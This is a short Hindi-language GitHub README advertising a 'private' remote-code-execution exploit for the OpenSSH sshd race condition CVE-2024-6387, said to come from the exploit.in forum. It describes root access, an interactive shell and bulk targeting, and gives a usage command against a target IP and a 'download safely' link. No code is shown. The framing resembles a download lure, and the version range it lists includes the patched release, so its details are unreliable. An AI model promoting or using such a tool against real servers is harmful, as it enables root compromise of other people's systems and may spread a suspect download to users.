principalanthony/cve-2024-6387-updated-x64bitCVE-2024-6387 [02.07.2024] के लिए निजी x64 RCE एक्सप्लॉइट exploit.in से
exploit.in से CVE-2024-6387 के लिए निजी x64 RCE एक्सप्लॉइट (Python) [02.07.2024]
यह रिपॉज़िटरी CVE-2024-6387 भेद्यता एक्सप्लॉइट का एक कार्यशील वैरिएंट प्रदान करती है, जिसमें रियल-टाइम एक्टिव शेल, मल्टीथ्रेडिंग, फ़ाइल से टारगेट दर्ज करना और रंगीन आउटपुट का समर्थन शामिल है।
CVE-2024-6387 के लिए एक एक्सप्लॉइट, जो glibc-आधारित Linux सिस्टम पर OpenSSH के सर्वर (sshd) में सिग्नल हैंडलर रेस कंडिशन को लक्षित करता है। यह भेद्यता SIGALRM हैंडलर में async-signal-unsafe फ़ंक्शन कॉल किए जाने के कारण रूट के रूप में रिमोट कोड निष्पादन की अनुमति देती है।
यह एक्सप्लॉइट OpenSSH के sshd में SIGALRM हैंडलर रेस कंडिशन को लक्षित करता है, जो async-signal-unsafe फ़ंक्शन को कॉल करता है। इसका उपयोग रूट के रूप में रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता है।
app:"OpenSSH"
OpenSSH 8.5p1 से 9.8p1
एक्सप्लॉइट चलाने के लिए आपको Python 3.9 की आवश्यकता है। निष्पादित करें:
python exploit.py -h 10.10.10.10 -c 'id'
यहाँ डाउनलोड करें (सुरक्षित रूप से!)